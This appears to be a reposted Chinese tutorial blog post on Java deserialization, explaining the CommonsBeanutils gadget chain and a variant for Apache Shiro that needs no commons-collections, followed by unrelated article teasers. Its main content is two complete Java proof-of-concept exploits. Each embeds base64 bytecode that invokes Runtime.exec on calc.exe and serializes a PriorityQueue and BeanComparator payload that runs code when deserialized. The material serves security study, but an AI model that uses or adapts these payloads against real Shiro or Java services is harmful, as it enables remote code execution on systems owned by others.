cbu和无cc的shiro反序列化

前置知识

学习CommonsBeanutils之前应该知道

  1. javaBean,可以看《Java简单特性》也可以看这里
  2. 有关BeanComparator的介绍
  3. TemplatesImpl gadget,前两个方法是public
TemplatesImpl#getOutputProperties() -> TemplatesImpl#newTransformer() -> TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses()
-> TransletClassLoader#defineClass()

cbu链原理

BeanComparator()用于比较两个Java Bean,当property不存在的时候会调用PropertyUtils.getProperty去获取JavaBean的属性,也就是执行getter

恰巧TemplatesImpl#getOutputProperties符合getter的命名规则

Gadget

Gadget chain:ObjectInputStream.readObject()PriorityQueue.readObject()PriorityQueue.heapify()PriorityQueue.siftDown()siftDownUsingComparator()BeanComparator.compare()TemplatesImpl.getOutputProperties()TemplatesImpl.newTransformer()TemplatesImpl.getTransletInstance()TemplatesImpl.defineTransletClasses()TemplatesImpl.TransletClassLoader.defineClass()Runtime.exec()

Poc

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.PriorityQueue;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.apache.commons.beanutils.BeanComparator;public class CommonsBeanutils1 {public static void main(String[] args) throws Exception {String base64encodedString = Base64.getEncoder().encodeToString(getpayload());System.out.println(base64encodedString);}public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {Field field = obj.getClass().getDeclaredField(fieldName);field.setAccessible(true);field.set(obj, value);}public static byte[] getpayload() throws Exception {byte[] code = Base64.getDecoder().decode("yv66vgAAADQANQoACwAaCQAbABwIAB0KAB4AHwoAIAAhCAAiCgAgACMHACQKAAgAJQcAJgcAJwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAoAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgEADVN0YWNrTWFwVGFibGUHACYHACQBAApTb3VyY2VGaWxlAQAXSGVsbG9UZW1wbGF0ZXNJbXBsLmphdmEMABMAFAcAKQwAKgArAQATSGVsbG8gVGVtcGxhdGVzSW1wbAcALAwALQAuBwAvDAAwADEBAAhjYWxjLmV4ZQwAMgAzAQATamF2YS9pby9JT0V4Y2VwdGlvbgwANAAUAQASSGVsbG9UZW1wbGF0ZXNJbXBsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEGphdmEvbGFuZy9TeXN0ZW0BAANvdXQBABVMamF2YS9pby9QcmludFN0cmVhbTsBABNqYXZhL2lvL1ByaW50U3RyZWFtAQAHcHJpbnRsbgEAFShMamF2YS9sYW5nL1N0cmluZzspVgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBAA9wcmludFN0YWNrVHJhY2UAIQAKAAsAAAAAAAMAAQAMAA0AAgAOAAAAGQAAAAMAAAABsQAAAAEADwAAAAYAAQAAAAsAEAAAAAQAAQARAAEADAASAAIADgAAABkAAAAEAAAAAbEAAAABAA8AAAAGAAEAAAAMABAAAAAEAAEAEQABABMAFAABAA4AAABsAAIAAgAAAB4qtwABsgACEgO2AAS4AAUSBrYAB1enAAhMK7YACbEAAQAMABUAGAAIAAIADwAAAB4ABwAAAA8ABAAQAAwAEgAVABUAGAATABkAFAAdABYAFQAAABAAAv8AGAABBwAWAAEHABcEAAEAGAAAAAIAGQ==");TemplatesImpl obj = new TemplatesImpl();setFieldValue(obj, "_bytecodes", new byte[][]{code});setFieldValue(obj, "_name", "HelloTemplatesImpl");setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());final BeanComparator comparator = new BeanComparator();final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);// stub data for replacement laterqueue.add(1);queue.add(1);setFieldValue(comparator, "property", "outputProperties");setFieldValue(queue, "queue", new Object[]{obj, obj});ByteArrayOutputStream barr = new ByteArrayOutputStream();ObjectOutputStream oos = new ObjectOutputStream(barr);oos.writeObject(queue);oos.close();//本地触发测试System.out.println(barr);ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));Object o = (Object)ois.readObject();return barr.toByteArray();}
}

Shiro反序列化遇到的困难

  • 本地生成payload的包和远程依赖的包版本不一导致serialVersionID不一致,反序列化失败

  • Shiro自带CommonsBeanutils,不依赖cc。但是Shiro反序列化需要cc

虽然cbu本身依赖cc,但是Shiro中自带的cbu中的类不全,反序列化会失败

no CC的Gadge

org.apache.commons.collections.comparators.ComparableComparator在BeanComparator类的构造方法里面被用到,要解决没有cc的时候ClassNotFound的问题就需要替换这个ComparableComparator。

因为ComparableComparator实现了Comparator接口,替换候选类需要满足:

  • 实现了java.util.Comparatorjava.io.Serializable接口
  • Java,shiro,cbu里面自带

我们去看Comparator接口,看下哪些类实现了他:

java.lang.String.CaseInsensitiveComparator:

直接通过String.CASE_INSENSITIVE_ORDER就可以获得一个对象

poc

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.PriorityQueue;public class CommonsBeanutils1Shiro {public static void main(String[] args) throws Exception {String base64encodedString = Base64.getEncoder().encodeToString(getpayload());System.out.println(base64encodedString);}public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {Field field = obj.getClass().getDeclaredField(fieldName);field.setAccessible(true);field.set(obj, value);}public static byte[] getpayload() throws Exception {byte[] code = Base64.getDecoder().decode("yv66vgAAADQANQoACwAaCQAbABwIAB0KAB4AHwoAIAAhCAAiCgAgACMHACQKAAgAJQcAJgcAJwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAoAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgEADVN0YWNrTWFwVGFibGUHACYHACQBAApTb3VyY2VGaWxlAQAXSGVsbG9UZW1wbGF0ZXNJbXBsLmphdmEMABMAFAcAKQwAKgArAQATSGVsbG8gVGVtcGxhdGVzSW1wbAcALAwALQAuBwAvDAAwADEBAAhjYWxjLmV4ZQwAMgAzAQATamF2YS9pby9JT0V4Y2VwdGlvbgwANAAUAQASSGVsbG9UZW1wbGF0ZXNJbXBsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEGphdmEvbGFuZy9TeXN0ZW0BAANvdXQBABVMamF2YS9pby9QcmludFN0cmVhbTsBABNqYXZhL2lvL1ByaW50U3RyZWFtAQAHcHJpbnRsbgEAFShMamF2YS9sYW5nL1N0cmluZzspVgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBAA9wcmludFN0YWNrVHJhY2UAIQAKAAsAAAAAAAMAAQAMAA0AAgAOAAAAGQAAAAMAAAABsQAAAAEADwAAAAYAAQAAAAsAEAAAAAQAAQARAAEADAASAAIADgAAABkAAAAEAAAAAbEAAAABAA8AAAAGAAEAAAAMABAAAAAEAAEAEQABABMAFAABAA4AAABsAAIAAgAAAB4qtwABsgACEgO2AAS4AAUSBrYAB1enAAhMK7YACbEAAQAMABUAGAAIAAIADwAAAB4ABwAAAA8ABAAQAAwAEgAVABUAGAATABkAFAAdABYAFQAAABAAAv8AGAABBwAWAAEHABcEAAEAGAAAAAIAGQ==");TemplatesImpl obj = new TemplatesImpl();setFieldValue(obj, "_bytecodes", new byte[][]{code});setFieldValue(obj, "_name", "HelloTemplatesImpl");setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);// stub data for replacement laterqueue.add("1");queue.add("1");setFieldValue(comparator, "property", "outputProperties");setFieldValue(queue, "queue", new Object[]{obj, obj});// 生成序列化字符串ByteArrayOutputStream barr = new ByteArrayOutputStream();ObjectOutputStream oos = new ObjectOutputStream(barr);oos.writeObject(queue);oos.close();//        //本地触发测试
//        System.out.println(barr);
//        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
//        Object o = (Object)ois.readObject();return barr.toByteArray();}
}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/109323.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【前端学习】—ES6新增的方法有哪些(十五)

【前端学习】—ES6新增的方法有哪些&#xff08;十五&#xff09; 一 、ES6中新增的方法 &#xff08;一&#xff09;、Object.is() //用于判断两个值/数据类型是否相等/* 特点&#xff1a;不仅可以对值类型进行正常处理&#xff0c;对象类型的值也可以处理对于特殊的值NaN 也…

杭电oj--平方和与立方和

Problem Description 给定一段连续的整数&#xff0c;求出他们中所有偶数的平方和以及所有奇数的立方和。 Input 输入数据包含多组测试实例&#xff0c;每组测试实例包含一行&#xff0c;由两个整数m和n组成。 Output 对于每组输入数据&#xff0c;输出一行&#xff0c;应包…

第七版教材下的PMP考试有多难?

考过了几次就没多难了&#xff0c;主要是看考纲&#xff0c;其中的难点就是敏捷的内容多了不少&#xff0c;包含在考纲的三大模块中&#xff0c;pmp考试没有专门的敏捷教材&#xff0c;需要自己去找资料备考。 第七版教材主要内容&#xff1a; 考纲三大模块分析&#xff1a; …

10-k8s-身份认证与鉴权

文章目录 一、ServiceAccount介绍二、ServiceAccount相关的资源对象三、dashboard空间示例 一、ServiceAccount介绍 ServiceAccount&#xff08;服务账户&#xff09;概念介绍 1&#xff09;ServiceAccount是Kubernetes集群中的一种资源对象&#xff0c;用于为Pod或其他资源提供…

【C++】多态 -- 详解

⚪前言 声明一下&#xff0c;下面的代码和解释都是在 VS2019 下的 X86 程序中进行的&#xff0c;涉及的指针都是 4 bytes。如果要其他平台下&#xff0c;部分代码需要改动。比如&#xff1a;如果是 X64 程序&#xff0c;则需要考虑指针是 8 bytes 问题等等。其它编译环境下&…

2023年中国有创呼吸机产量、需求量及行业市场规模分析[图]

有创呼吸机主要是通过气管插管或者气管切开&#xff0c;然后通过管道连接在呼吸机上&#xff0c;为患者提供呼吸支持&#xff0c;主要针对的患者是昏迷的&#xff0c;无自主呼吸或不能耐受无创呼吸机的患者。 有创呼吸机是高端医疗装备&#xff0c;设计、生产和临床验证都必须经…

Object.prototype.toString.call()如何理解

Object.prototype.toString.call() 是 JavaScript 中用于获取对象类型的一种常见方式。这方法通常用来判断某个值的精确类型&#xff0c;因为 JavaScript 的 typeof 运算符虽然能用来区分基本数据类型&#xff0c;但对于对象类型的区分并不够精确。 理解 Object.prototype.to…

hive进行base64 加密解密函数

加密 select base64(cast(abcd as binary))YWJjZA 解密 -- 直接解密&#xff08;结果字段格式为比binary格式&#xff09; select unbase64(YWJjZA) -- 格式转换 select cast(unbase64(YWJjZA) as string) abcd

机器学习笔记 - 3D 对象跟踪极简概述

一、简述 大多数对象跟踪应用程序都是 2D 的。但现实世界是 3D 的,无论您是跟踪汽车、人、直升机、导弹,还是进行增强现实,您都需要使用 3D。在 CVPR 2022(计算机视觉和模式识别)会议上,已经出现了大量3D目标检测论文。 二、什么是 3D 对象跟踪? 对象跟踪是指随着时间的…

传输加解密 RuoYi-Vue-PLus 4.x

这里写自定义目录标题 前言代码修改前端引入步骤&#xff1a;代码解释&#xff1a;代码 后端引入步骤&#xff1a;代码解释&#xff1a; 代码 前言 RuoYi-VUE-Plus 5.x的版本 已经完成了 前端加密传输给后端的代码&#xff0c;本文章只是将代码迁移到4.x 并完成 后端加密后给前…

HTML渲染过程

整个渲染过程&#xff1a; 将 URL 对应的各种资源&#xff0c;通过浏览器渲染引擎的解析&#xff0c;输出可视化的图像。 基本概念&#xff1a; HTML 解释器&#xff1a;解析html语言、将html文本翻译成dom树&#xff1b; CSS 解释器&#xff1a;解析css语言&#xff0c;给…

【JVM面试】从JDK7 到 JDK8, JVM为啥用元空间替换永久代?

系列文章目录 【JVM系列】第一章 运行时数据区 【面试】第二章 从JDK7 到 JDK8, JVM为啥用元空间替换永久代&#xff1f; 大家好&#xff0c;我是青花。拥有多项发明专利&#xff08;都是关于商品、广告等推荐产品&#xff09;。对广告、Web全栈以及Java生态微服务拥有自己独到…

Linux SVN 命令详解

1、将文件 checkout 到本地目录 svn checkout path&#xff08;path是服务器上的目录&#xff09; 例如&#xff1a;svn checkout svn://192.168.1.1/pro/domain 简写&#xff1a;svn co 2、往版本库中添加新的文件 svn add file 例如&#xff1a;svn add test.php(添加test.…

MySQL [基础] 学习笔记

MySQL 学习 文章目录 MySQL 学习1. 数据库三层结构2. 数据在数据库中的存储方式3. SQL 语句分类3.1 备份恢复数据库的表 4. Mysql 常用数据类型(列类型)4.1 数值型(整数)的基本使用4.2 数值型(bit)的使用4.3 数值型(小数)的基本使用4.4 字符串的基本使用(面试题)4.5 字符串使用…

2020年下半年~2022下半年下午题易错总结

2020年下半年 试题一&#xff1a; 1.组播报文对无线网络空口的影响主要有(14) &#xff0c;随着业务数据转发的方式不同, 组播报文的抑制分别在 (15)、(16) 配置。 答案&#xff1a; &#xff08;14&#xff09;无线空口拥塞 &#xff08;15&#xff09;直连AP的交换…

软件测试需要学习什么?好学吗?需要学多久?到底是报班好还是自学好?

前言&#xff1a; 上篇文章看到很多小伙伴在讨论做测试到底怎么样&#xff0c; 其中很有很多的小伙伴还踩不少的坑&#xff0c;花费了大量的精力和时间去探索&#xff0c;结果还是一无所获。这里给大家出一期关于软件测试萌新的疑惑&#xff0c;看完这篇文章你就知道软件测试…

AR智能眼镜主板设计方案_AR眼镜PCB板设计

AR智能眼镜是一种采用先进技术的创新产品&#xff0c;具备强大的功能和性能。它采用了MTK8788八核 12nm低功耗硬件平台&#xff0c;搭载IMG GE830063OMhz或以上的GPU&#xff0c;并运行Android 11.0或以上的操作系统。该眼镜支持光波导1080P显示和LVDS接口自由曲面显示&#xf…

Linux命令(101)之nl

linux命令之nl 1.nl 介绍 linux命令nl用来将输出的文件内容自动加上行号 2.nl用法 nl [参数] filename nl常用参数 参数说明-b a输出内容都加上行号-b t只有非空行的输出加上行号&#xff0c;默认选项-n ln在最左方加上行号-n rn在最右方加上行号&#xff0c;且不加0-n rz在…

信钰证券:新增融券交易明显降温 业内称新规将平衡多类型投资者利益

10月14日&#xff0c;中国证监会发布调整优化融券相关准则的通知&#xff0c;沪深北买卖所齐发具体安排&#xff0c;阶段性收紧融券和战略出资者配售股份出借。其间&#xff0c;融券保证金比例进步自10月30日起实施&#xff0c;战略出资者配售股份出借收紧等其他条款自10月16日…

Java面试题-Java核心基础-第五天(面向对象基础)

目录 一、面向对象与面向过程的区别 二、创建一个对象用什么运算符&#xff0c;对象实体与对象引用有什么区别&#xff1f; 三、对象的相等和引用的相等有什么区别 四、如果一个类没有构造方法&#xff0c;程序能正常执行吗&#xff1f; 五、构造方法有什么特点&#xff0c…